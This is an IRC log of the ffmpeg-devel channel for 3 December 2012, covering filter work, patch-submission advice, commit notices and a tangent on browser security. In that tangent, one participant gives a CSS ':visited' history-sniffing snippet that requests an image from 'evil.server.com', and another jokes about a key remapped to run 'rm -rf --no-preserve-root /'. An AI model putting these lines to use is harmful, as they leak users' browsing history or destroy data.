[Ffmpeg-devel-irc] ffmpeg-devel.log.20121203

[burek]

[00:00] <saste> no, not really, i'll try to think at it
[00:01] <saste> as for the remaining filters, tinterlace at least is mine, but i won't work on it before one/two days, so feel free to beat me on time
[00:02] <ubitux> i'm getting bored :))
[00:05] <wm4> ubitux: rename the mplayer symbols?
[00:07] <ubitux> wm4: i'm afraid i'll forget some ;)
[00:07] <ubitux> so you should do it :)
[00:45] <michaelni> ubitux, if you are bored pick a random ticket and fix it
[00:46] <michaelni> or pick 5 and then pick one of them that sounds easy
[00:47] <ubitux> no i meant i'm getting bored at doing the the filter_frame switches :))
[00:47] <ubitux> don't worry, i've a lot of project ;)
[01:32] <ubitux> oh it seems finally libav care about uninitialized values
[01:33] <ubitux> didn't we fixed them at least one year ago?
[01:34] <iive> ubitux: i bet there wasn't that many 1 year ago :P
[01:35] <iive> weren't
[01:35] <ubitux> it's just that they realize recently they could drop the --undef-value-errors=no from their fate valgrind instances&
[01:42] <cone-653> ffmpeg.git 03Michael Niedermayer 07ec79b1fc88b2: wtvdec: fix null pointer dereference
[01:42] <cone-653> ffmpeg.git 03Michael Niedermayer 079c208b404cbd: vp56: Ignore reconfiguration from the alpha plane.
[02:00] <cone-653> ffmpeg.git 03Christophe Gisquet 07e32bea8eb479: aac: avoid a memcpy in sbr_qmf_analysis
[02:00] <cone-653> ffmpeg.git 03Janne Grunau 0789a4465bd9d1: avprobe: report per stream bit rate if set by the decoder
[02:01] <cone-653> ffmpeg.git 03Janne Grunau 070b300daad2f5: h264: error out on unset current_picture_ptr for h->current_slice > 0
[02:01] <cone-653> ffmpeg.git 03Michael Niedermayer 07211372e86dbf: Merge commit '0b300daad2f5cb59a7c06dde5ac701685e6edf16'
[02:04] <highgod> Hi,all.I want ask a quesiton about how to devote our version to ffmpeg.I can get the develop code throuth git,can I use it to devote our code?We add code to call dxva2 in ffmpeg.exe,it can make ffmpeg.exe use dxva2 to decode.
[02:04] <highgod> thanks
[02:08] <Compn> highgod : you are writing a video player using dxva2 to decode video ? 
[02:08] <Compn> you can use ffmpeg if you follow the lgpl / gpl license
[02:13] <highgod> @Compn:No,we ffmpeg has dxva2 aip code,but there is no code to call it to use it to implement transcode.So we add code to call it.And this is the first stage of our optimization.The secode stage,we optimize ffmpeg using opencl.The third stage we add opendecode and openencode to ffmpeg.The forth stage we add a pipeline for hwacccel that can make decode filter encode parally
[02:14] <Compn> sound sgood
[02:15] <highgod> @Compn:we have finish the four stages.so we want to devote the code to community.Thanks.Now our problem is we don't know how to devote our code
[02:15] <Compn> start a git repo, and ask michaelni to merge it :)
[02:15] <Compn> michaelni is the merging master
[02:15] <Compn> and give us your code url 
[02:19] <highgod> @Compn:Thanks,just like I said.We have done a lot of code,so we want to devote our code in the four stages as above.So what's the url? Do you mean our code on bitbuck?Thanks.This is the first time I devote our code,so there are a lot of question I will ask.hehe
[02:20] <Compn> yes, where is your code on bitbuck ?
[02:26] <highgod> https://bitbucket.org/multicoreware/ffmpeg,The url is our private url,maybe you don't have limits of authority to access it.Can we devote our patch?the code is based on ffmpeg-1.0 code
[02:35] <Compn> yes , if you want to make a patch and send it to ffmpeg-devel mailing list that would be good
[02:42] <highgod> Thanks Compn,So Should I get the latest code from git,than merge our patch,and then mail it to ffmpeg-devel?
[02:42] <highgod> Thanks
[02:50] <Compn> highgod : yes, the latest code is best to make a patch with
[02:50] <Compn> it might take a while to adapt your code to work with latest ffmpeg
[02:50] <Compn> theres been lots of changes
[02:50] <Compn> not much with dxva h264 etc :)
[02:56] <highgod> Okey,thanks.Do you want the whole source code or the pathc packet?Sorry,I'm not familiar with the step of how to devote code.
[02:58] <cone-653> ffmpeg.git 03Janne Grunau 07abab0435d4bc: fate: split dependencies for fate-seek tests
[02:58] <cone-653> ffmpeg.git 03Diego Biurrun 07d173ede1b7cc: configure: avplay now depends on avresample
[02:58] <cone-653> ffmpeg.git 03Janne Grunau 07337dbe2adb11: fate: move fate-acodec reference files to their own dir
[02:58] <cone-653> ffmpeg.git 03Janne Grunau 07c8148e5c9326: fate: move vsynth reference files to their own directory
[02:58] <cone-653> ffmpeg.git 03Janne Grunau 07e816034a5fa1: fate-seek: remove use of gnu make 3.82 only private modifier
[02:58] <cone-653> ffmpeg.git 03Michael Niedermayer 077711f19eda40: Merge commit 'e816034a5fa131b13c4ad87bb0b5065b4f5697c6'
[03:06] <cone-653> ffmpeg.git 03Mans Rullgard 0781dfa21ec976: configure: move arm arch extensions to a separate variable
[03:06] <cone-653> ffmpeg.git 03Diego Biurrun 0731f16dc1a166: build: Make the ISMV muxer select the MOV muxer
[03:06] <cone-653> ffmpeg.git 03Diego Biurrun 07eebc40e17784: fate: fft: Fix libavcodec dependency
[03:06] <cone-653> ffmpeg.git 03Michael Niedermayer 07b452c8a722b7: Merge remote-tracking branch 'qatar/master'
[03:11] <Compn> highgod : just the unified diff patch is best
[03:11] <Compn> highgod : that way its easier for us to review. since we already (sort of) know our own code :)
[03:21] <cone-653> ffmpeg.git 03Michael Niedermayer 075e2be27e6580: fate: fix typos in wtv seek test
[03:23] <highgod> Thank you very much
[06:22] <burek> does anyone know how to setup 1 machine to be a multi-arch build machine for ffmpeg
[06:22] <burek> where we could build static ffmpegs for various archs on 1 place?
[08:54] <JamesJRH> Hi, I was talking on #firefox about embedding codecs in webpages. Mozilla seem very much against including binary code in webpages (Ie. NaCl), so I wondered if there is a declaritive approach.
[08:56] <JamesJRH> My understanding of compression is that a probability model is formed for the specific application, in this case video, along with appropriate tranforms and other complex maths. Surely this can be distributes in a non-machine-code manner.
[08:57] <JamesJRH> distributed*
[08:57] <JamesJRH> That's what I mean be 'declaritive' as opposed to 'procedural'.
[09:01] <JamesJRH> Is this more appropriate for #ffmpeg?
[09:03] <JamesJRH> I think it's too theoretical for a "USER support" channel, so I hope it's ok here.
[10:49] <pross-au> JamesJRH: someday FFmpeg will write itself, and we'll all be out of a job.
[10:50] <JamesJRH> pross-au: Hey?
[10:53] <av500> maybe Mozilla can include source code in webpages and come with a compiler
[10:53] <JamesJRH> av500: Yes, NaCl/LLVM like Chromium.
[10:54] <JamesJRH> av500: Unfortunately, Mozilla are extermely worked up by this idea.
[10:54] <JamesJRH> extremely
[10:56] <pross-au> why?
[11:03] <JamesJRH> Because they seem to be misinformed and think that NaCl is a reincarnation of activex.
[11:04] <divVerent> but it is :P
[11:04] <divVerent> well, plus a sandbox
[11:05] <av500> the point of nacl is the sandbox
[11:05] <av500> whether you host obfuscated asm or javascript is not the point
[11:06] <av500> but the easy solution for mozilla is to rewrite FFMPEG in javascript
[11:06] <divVerent> av500: but IE has such a sandbox too now
[11:06] <JamesJRH> divVerent: Plus a Free software license, plus platform inderpendence, plus architecture agnostic LLVM IF bytecode.
[11:06] <divVerent> so in theory, activex can be just as secure
[11:06] <divVerent> NaCl by itself is not platform independent
[11:06] <divVerent> it won't run x86 binaries on ARM
[11:06] <divVerent> PNaCl solves this :P
[11:06] <divVerent> by using LLVM bytecode instead
[11:06] <av500> do I hear java?
[11:07] <pross-au> never heard of it av500 
[11:07] <divVerent> so, NaCl is a technology I really don't want to catch on - PNaCl on the other hand maybe
[11:07] <JamesJRH> divVerent: Ok, in that case it's PNaCl that I meant.
[11:07] <divVerent> av500: java with less nasty API :P
[11:07] <divVerent> I mean, we will soon have to support three major archs
[11:07] <divVerent> x86_32 for the stupid XP users who don't like Metro ;)
[11:07] <divVerent> x86_64 for the majority
[11:07] <divVerent> and ARM
[11:08] <divVerent> and who knows what else further complicates this
[11:08] <divVerent> LLVM bytecode may help there
[11:08] <divVerent> in fact, PNaCl is not much worse than a JavaScript JIT
[11:08] <divVerent> if you're against one for security reasons, you should get rid of the other too ;)
[11:08] <divVerent> (and that's also my opinion - we shouldn't need either, so why have them)
[11:09] <divVerent> JS JIT already has proven quite dangerous in many cases
[11:09] <JamesJRH> divVerent: I'll discuss this back in #firefox about whether Moz are just as much against PNaCl.
[11:09] <JamesJRH> divVerent: Thank you.
[11:09] <divVerent> not really needed
[11:09] <divVerent> they don't want it, that's fine
[11:09] <divVerent> we shouldn't adopt such things anyway ... instead we should code efficiently again
[11:10] <divVerent> the only reason why we need JS JIT is that so many websites have totally inefficient and huge JS code
[11:10] <av500> divVerent: its simple, as long as the browser has a turing complete environment for 3rd party "code", you have issues
[11:10] <divVerent> there's few things done in JS that really needs the JIT even if coded efficiently
[11:10] <av500> enforce a static HTML tree and you are "safe"
[11:10] <divVerent> and that probably only includes this javascript wolf3d :P
[11:10] <av500> the rest is just decorum
[11:10] <divVerent> and even that would nowadays work without the JIT thanks to WebGL
[11:11] <divVerent> turing completeness is not the cause of evil
[11:11] <divVerent> complexity is
[11:11] <divVerent> in this sense, LLVM may actually help
[11:11] <divVerent> as it's a quite simple VM and works in a controlled sandbox environment (in NaCl)
[11:11] <divVerent> I mean, remove JS and add PNaCl and we probably will end up with MORE security than before
[11:11] <JamesJRH> divVerent: What I really want is for them to support Dirac. They're not going to, so I want them to support a way for websites to distribute codecs.
[11:12] <av500> what is so unsecure about js?
[11:12] <divVerent> JamesJRH: shouldn't codecs be supported as add-ons?
[11:12] <divVerent> av500: huge API
[11:12] <av500> it can only use the platform bindings you give it
[11:12] <divVerent> most security flaws came from a not really tested well API function
[11:12] <divVerent> JS itself is fine
[11:12] <av500> see
[11:12] <divVerent> but the DOM API grew too big
[11:12] <av500> so, the DOM api is an issue then for any language
[11:12] <divVerent> I mean... this was even visible in like Netscape 3 times
[11:12] <JamesJRH> divVerent: I agree replace JS with PNaCl.
[11:12] <divVerent> and there the DOM API was a lot smaller
[11:13] <divVerent> JamesJRH: of course that means that people who don't want HTML wouldn't even use HTML any more
[11:13] <av500> so, its the API browsers expose
[11:13] <divVerent> but would code their effects as an application and code it in PNaCl
[11:13] <av500> that does not depend on the language
[11:13] <divVerent> av500: like, I remember a very old netscape 3 hole where the navigator object was accidentally writable
[11:13] <av500> watch Pnacl grow a similar sized API in short time
[11:13] <divVerent> so one could hide code in it
[11:13] <divVerent> and violate cross domain security
[11:13] <av500> if it gets used
[11:13] <divVerent> that's the kind of bugs we STILL don't get solved today
[11:13] <divVerent> av500: exactly
[11:13] <divVerent> PNaCl should not get such an API :P
[11:13] <av500> security is hard, lets go shopping
[11:13] <av500> but swapping a language is not a golden bullet
[11:13] <divVerent> if people want their own design pixel by pixel
[11:14] <divVerent> give them SDL in PNaCl
[11:14] <divVerent> or just tell them to FREAKING USE PDFS
[11:14] <JamesJRH> divVerent: Mozilla are looking at Firefox apps and Firefox OS. I hate the thought of these things in JS.
[11:14] <divVerent> (which grew bad too, though)
[11:14] <av500> last time I checked, PDFs run code too :)
[11:14] <divVerent> JamesJRH: Mozilla add-ons can contain native code
[11:14] <divVerent> so I don't see why they don't just allow codecs to be done in that too
[11:14] <divVerent> actually, I am pretty sure they do
[11:14] <cone-746> ffmpeg.git 03Piotr Bandurski 077e93b0ba4b5a: ra144enc: reject unsupported sample rates
[11:14] <divVerent> because that's how the Move player worked
[11:15] <divVerent> so someone should make a Dirac add-on
[11:15] <pross-au> hmmm.. HTML+CSS is turing complete.
[11:15] <JamesJRH> divVerent: Addons? Or plugins?
[11:15] <divVerent> and sites should link to it ona ddons.mozilla.org
[11:15] <divVerent> JamesJRH: essentially the same thing
[11:15] <divVerent> an xpi...
[11:15] <JamesJRH> Oh wait. That's why some addons aren't crossplatform?
[11:15] <divVerent> it's ONE of the reasons
[11:15] <JamesJRH> Hmm.
[11:16] <divVerent> addons have quite some access
[11:16] <divVerent> they also can depend on path names etc.
[11:16] <divVerent> pross-au: HTML+CSS indeed also has known security holes for ages
[11:16] <JamesJRH> Mozilla seem a little bit hipocritical here.
[11:17] <pross-au> agree, lets go back to using .ANS files
[11:17] <divVerent> pross-au: also has had security holes
[11:17] <divVerent> my favorite HTML+CSS hole was history spying...
[11:17] <divVerent> like
[11:17] <divVerent> <a href="http://www.ffmpeg.org/" class="foo">
[11:17] <divVerent> and in CSS .foo:visited { background-image: url(http://evil.server.com/you-used-ffmpeg); }
[11:18] <divVerent> which will do the page request only if www.ffmpeg.org was visited
[11:18] <divVerent> the image request*
[11:18] <pross-au> theres no escaping the prying eyes
[11:18] <divVerent> a nice example of how a complicated interface causes security issues one just didn't think of
[11:19] <divVerent> regarding .ANS: you do know catting untrusted files on a terminal is dangerous ;)
[11:19] <pross-au> divVerent: like mapping macros to your keys to do nasty things...
[11:19] <divVerent> on some ttys it even can remap keys so e.g. pressing x does "\nrm -rf --no-preserve-root /\n"
[11:19] <divVerent> damn, forgot the sudo ;)
[11:20] <av500> divVerent: no need, I'm always logged in as root
[11:20] <av500> much easier
[11:20] <divVerent> ok then
[11:20] <divVerent> ;)
[11:20] <av500> :)
[11:20] <pross-au> So its 7-bit ASCII only, just to be safe.
[11:20] <av500> yes
[11:20] <divVerent> who knows what you can do with that
[11:20] <pross-au> Less the control characters
[11:20] <divVerent> evil escape sequences are included
[11:21] <av500> pross-au: remember the time, the internet was just that? :)
[11:21] <divVerent> let's only allow LF, SPC, 33-126
[11:21] <divVerent> ;)
[11:21] <av500> and the ocasional pron GIF
[11:21] <av500> we had all we needed
[11:21] <divVerent> and no evil control chars like vertical tabulators
[11:21] <divVerent> ;)
[11:21] <pross-au> yeah TAB is forbidden
[11:21] <av500> an internet even the Amish people would use
[11:21] <av500> hand cranked
[11:22] <divVerent> TAB is great, but you can't make assumptions what the receiver does with it :P
[11:22] Action: av500 prefers VB over TAB
[11:22] <divVerent> some people use custom tab stops on their terminals just to annoy everyone
[11:22] <divVerent> like, one tab stop at 2 chars, and the next at 78
[11:22] <divVerent> just so all code becomes a mess when it used them
[11:23] <divVerent> also, let's LART everyone who attempts to use +-------+ stuff for line drawing
[11:23] <divVerent> it's not screen reader friendly
[11:23] <divVerent> "plus dash dash dash dash dash dash ... plus"
[11:23] <av500> wrap that in XML
[11:23] <divVerent> <plus /><dash /><dash />...?
[11:23] <av500> and call it webASCIIart
[11:24] <divVerent> you know the proper way to encode ASCII in XML is not CDATA
[11:24] <divVerent> but <char charset="unicode" code="43" numeric="decimal" />
[11:24] <divVerent> is much more readable than
[11:24] <divVerent> +
[11:35] <durandal_1707> when new release is coming?
[13:12] <saste> is it possible to store planar audio in a rawaudio file?
[13:12] <saste> seems we only support packed formats
[13:14] <ubitux> adpcm ima qt?
[13:14] <durandal_1707> possible, but you need to set interleaving size
[13:14] <saste> ADPCM is not raw I suppose
[13:15] <saste> I'm asking because most decoders seems to support planar output, so the output created by demuxing.c is not playable
[13:15] <durandal_1707> what it creates?
[13:15] <saste> i suppose this is due to a change occurred in the last few months (audio demuxing was added in september)
[13:15] <saste> planar
[13:15] <saste> and we have no rawaudio demuxers for planar audio
[13:16] <durandal_1707> you will need to provide more information
[13:16] <durandal_1707> saste: trivial to write one
[13:16] <saste> i suppose so, that's why I'm asking (why didn't we already have it?)
[13:16] <durandal_1707> what demuxing creates?
[13:17] <durandal_1707> its outputs frames must be of same size 
[13:17] <durandal_1707> otherwise raw planar demuxers are not possible....
[13:17] <saste> durandal_1707, yep, of course
[13:17] <saste> allright then i'll have to convert to packed i suppose
[13:18] <saste> i suppose planar would be possible, but then we would have to specify the frame size, not sure it is a good idea
[13:24] <durandal_1707> ^ needs medications
[13:35] <saste> durandal_1707, no, it could even make sense
[13:36] <saste> for example ffmpeg -i presentation.pps img%03d.png
[13:36] <ubitux> wtf
[13:37] <pross-au> vk5 is from australia
[13:39] <pross-au> [4~what next, ffmpeg -i foo.xls out%d.png,  or even,  ffmpeg -i foo.txt img%03d.png
[13:39] <durandal_1707> there is already tty writer of some kind
[13:39] <ubitux> we can already, right? :)
[13:40] <pross-au> yeah what moron added that
[13:41] <ubitux> :D
[13:47] <ubitux> saste: i'll push the subtitles filter on wednesday, along with vobsub
[13:47] <ubitux> unless you want more time to review
[13:47] <saste> ubitux, no, i'm already fine with the filter
[13:47] <saste> as for vobsub i'm not the most qualified to review
[13:48] <ubitux> ok :)
[13:52] <cone-746> ffmpeg.git 03Stefano Sabatini 078bee8f778ae1: lswr/swresample: use AV_OPT_TYPE_SAMPLE_FMT for sample format options
[13:55] <ubitux> saste: can we still use av_opt_set_int?
[13:55] <saste> ubitux: yes
[13:56] <saste> but sample_fmt is easier, e.g. you can use a sample fmt name instead of a number with av_opt_set()
[13:57] <ubitux> my worry was about the compat layer with lavr
[14:30] <durandal_1707> pross-au: there are SGI movie files?
[14:32] <Compn> sgi was used for rendering , i think they had their own format
[14:32] <Compn> dont think i have sample however
[14:33] <Compn> i remember the video game killer instinct used pre-rendered sgi sprites for its characters.
[15:25] <ubitux> i have two avi here, with the same codecs (mpeg4/mp3), i can remux one to mkv without trouble
[15:25] <ubitux> and the other one needs -fflags +genpts
[15:25] <ubitux> any idea why?
[15:25] <av500> hmm
[15:25] <av500> maybe one has b-frames
[15:25] <av500> or its packed-B vs multi-B
[15:28] <ubitux> indeed, the one in need of +genpts is the one with B frames
[15:28] <ubitux> thx
[15:30] <av500> just a wild guess
[15:34] <cone-746> ffmpeg.git 03Mans Rullgard 0766371c285134: configure: arm: detect default thumb state of compiler
[15:34] <cone-746> ffmpeg.git 03Martin Storsjö 07eb7018d2fcd4: configure: Strip ordinals from mingw generated def files
[15:34] <cone-746> ffmpeg.git 03Michael Niedermayer 07d0b7e832feca: Merge remote-tracking branch 'qatar/master'
[16:04] <ubitux> timestamp: 00:03:05:919, filepos: 000004800
[16:04] <ubitux> timestamp: 00:03:05:910, filepos: 000005000
[16:04] <ubitux> aaarh :(
[16:20] <ubitux> michaelni: i'd like to backport 0c40220b9dbcff104f38998f7170bdd4b70969cd for 1.0.1
[16:20] <ubitux> i think that's the only one i'd like to backport
[16:22] <ubitux> michaelni: about the regression, i believe "[PATCH 3/3] lavf/matroskaenc: make sure we don't mux side data magic." is necessary
[16:23] <ubitux> michaelni: and last thing, I'd better get done with ff_filter_frame before 1.1
[16:23] <ubitux> there are only 6-7 left to do
[16:24] <ubitux> that's all i have to say about this release
[16:24] <durandal_1707> but l is making 9, 1.1 should be 11
[16:24] <ubitux> :)
[16:24] <ubitux> will they release one day?
[16:25] <cone-746> ffmpeg.git 03Paul B Mahol 07694dc6251e97: shorten: update .sample_fmts
[16:25] <cone-746> ffmpeg.git 03Paul B Mahol 070a8360c4f9cf: takdec: add .sample_fmts
[16:35] <michaelni> ubitux, if you want to backport something, just push it to release/1.0
[16:42] <cone-746> ffmpeg.git 03Clément BSsch 0709c79d50d88e: lavf/swfdec: fix flushing with compressed swf.
[17:04] <durandal_1707> why this logger strips info about tree where commit actually goes?
[17:06] <michaelni> durandal_1707, talk with thresh / j-b
[17:10] <thegeek> I would love an official release with d23e8f53ad01fde6d0dd96644c2a594f8dd7537e backported, the current 1.0 release can easily crash on windows
[17:11] <ubitux> erm AVOutputFormat->write_packet should have a const AVPacket&
[17:36] <ubitux> michaelni: so i should only use av_packet_split_side_data() on a local copy of the packet?
[17:36] <ubitux> erm that's gonna bring some trouble.
[17:39] <michaelni> ubitux, it could be split in the caller of ->write_packet like its done for decoders
[17:44] <teratorn> can I ask a question here if I get no replies on #ffmpeg?
[18:03] <cone-746> ffmpeg.git 03Peter Ross 07f2ceb67e5b42: doc: describe micro versioning policy
[18:03] <cone-746> ffmpeg.git 03Michael Niedermayer 074c160b68cca2: ff_mp4_read_dec_config_descr: check that the codec is not open
[18:03] <cone-746> ffmpeg.git 03Michael Niedermayer 078897b5aa4c09: mpegts_set_stream_info: remove unneeded codec id check
[18:03] <cone-746> ffmpeg.git 03Michael Niedermayer 0703290ffb57b2: mpegts: check that codec is not open in mpegts_find_stream_type
[18:04] <teratorn> I'm trying to add a libvorbis stream to a webm format container... I have a custom streaming solution using AVIOContext... I have a callback function which actually writes packet data to an http socket. Works great when it is video only. but as soon as I just add the vorbis stream. then only the container header is written. My callback never gets called even though im calling av_interleaved_write_frame like crazy
[18:04] <teratorn> any clue why the encoder would not complain, but just never flush any data?
[18:05] <teratorn> im not writing any actual audio packets...
[19:59] <cone-746> ffmpeg.git 03Reimar Döffinger 07e2fc6a01f662: libspeex: allow custom sample rates again.
[20:13] <ubitux> <i> I knew I was made for better things </ i></i>
[20:13] <ubitux> no shit.
[20:13] <durandal_1707> ?
[20:14] <ubitux> durandal_1707: http://pastie.org/5475277
[20:14] <ubitux> this is a SRT i just found
[20:14] <ubitux> it's like "let's try to see if your player handle a space after the '/'; but if it doesn't i'll close it properly afterward"
[20:14] <ubitux> "so everything should be ok, right?"
[20:15] <JEEBsv> lol
[20:33] <cone-746> ffmpeg.git 03Michael Niedermayer 079913ecc68d5a: configure: add missing dependancies for gpl tests
[20:33] <cone-746> ffmpeg.git 03Michael Niedermayer 073be4f230c615: ffv1enc: fix integer overflow with high resolutions and lots of slices.
[20:33] <cone-746> ffmpeg.git 03Michael Niedermayer 077a67a70efa9c: lavf: free probe data in case we close before probing finished
[20:33] <cone-746> ffmpeg.git 03jamal 07e21a53b6ebb6: fate: Fix --disable-zlib
[20:33] <cone-746> ffmpeg.git 03Martin Ettl 07ce433996d7f0: ffserver: fix potential buffer overflow, based on wrong fscanf format indentifier.
[20:33] <cone-746> ffmpeg.git 03Michael Niedermayer 07e2935721e00a: aacenc: fix out of array writes
[20:33] <cone-746> ffmpeg.git 03Michael Niedermayer 075bd5bb9e56c9: libvorbisenc: fix afq delay setting
[20:33] <cone-746> ffmpeg.git 03Michael Niedermayer 078c103410a6d5: movenc: fix regression with yuyv caused by c5f23d
[20:33] <cone-746> ffmpeg.git 03Michael Niedermayer 0786c8ab1fd833: ffv1: fix array data types
[20:33] <cone-746> ffmpeg.git 03Michael Niedermayer 078b170ee5d874: mpegvideo enc: choose VBV buffer size for mpeg1/2 when none is specified instead of failing
[20:33] <cone-746> ffmpeg.git 03Michael Niedermayer 079d9d16b33f73: mpegvideo enc: choose VBV buffer size for mpeg4 when none is specified instead of failing
[20:33] <cone-746> ffmpeg.git 03Michael Niedermayer 0718817d4b803e: swr: use 64bit index/len for x86_64 mix
[20:39] <cone-746> ffmpeg.git 03Clément BSsch 07d91388367fa6: lavfi/gradfun: remove check for AV_PERM_PRESERVE.
[20:40] <wm4> ubitux: it seems there is some hope that permissions go completely with the Evil Plan, as I understood
[20:42] <ubitux> possibly
[20:42] <ubitux> nevertheless, that check was wrong :p
[20:49] <michaelni> wm4, they may go away but so do also the optimizations they provided over the "evil plan variant"
[20:50] <michaelni> its not as if this variant hasnt been considered in the past
[20:50] <wm4> which optimizations in particular?
[20:51] <michaelni> for example "static" or reused buffers
[20:51] <michaelni> but read only buffers too get trickier
[20:52] <michaelni> that is buffers that have just 1 reference but live in read only memory
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 070b9be54e97fa: tiffdec: check count in metadata reading.
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 07112d4c400f0e: iff/ilbm: check remaining buffer size.
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 07e0884eadf6a1: alac: fix nb_samples < order case
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 07c8c9740ee1ea: alac: fix integer overflow leading to subsequent out of array accesses.
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 0712fb647994c8: mjpegdec: check SE.
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 07c51c5f83c13b: wavpack: fix out of array access
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 0728bf685bfc6d: pgssubdec: check RLE size before copying. Fix out of array accesses
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 07c8833a13cf53: eamad: fix out of array accesses
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 07c82d6e05da08: h264: correct ref count check and limit, fix out of array accesses.
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 0738e8f78c041b: roqvideodec: check dimensions validity
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 0774241de7ed50: huffyuvdec: check width more completely, avoid out of array accesses
[21:14] <cone-746> ffmpeg.git 03Michael Niedermayer 07e34369e8ece0: qdm2: check array index before use, fix out of array accesses
[21:39] <cone-746> ffmpeg.git 03Michael Niedermayer 07528700dd58ab: update for 1.0.1
[22:35] <cone-746> ffmpeg.git 03Clément BSsch 07HEAD: lavfi/gradfun: remove check for AV_PERM_PRESERVE.
[22:35] <ubitux> @_@
[22:36] <ubitux> old!
[22:40] <ubitux> :)
[22:51] <ubitux> michaelni: the muxer can receive splitted packets (after encoders for instance) or merged packets (after demuxer); is it ok to unconditionnally call the pkt split in the muxer (in all the functions calling the oformat->write_packet cb)?
[22:53] <michaelni> ubitux, unconditional is ok, encoders should probably merge too if any sets side data
[22:54] <ubitux> encoders aren't supposed to be called except after a decode, no?
[22:54] <ubitux> (and in the decode the side data are split)
[22:55] <ubitux> oh you mean to merge after encoding, ok
[23:31] <teratorn> does this crash look like an issue with my (calling) code, or an internal error to libvorbis? http://hastebin.com/sayobixowa.txt
[23:31] <teratorn> seems fishy :/
[00:00] --- Tue Dec  4 2012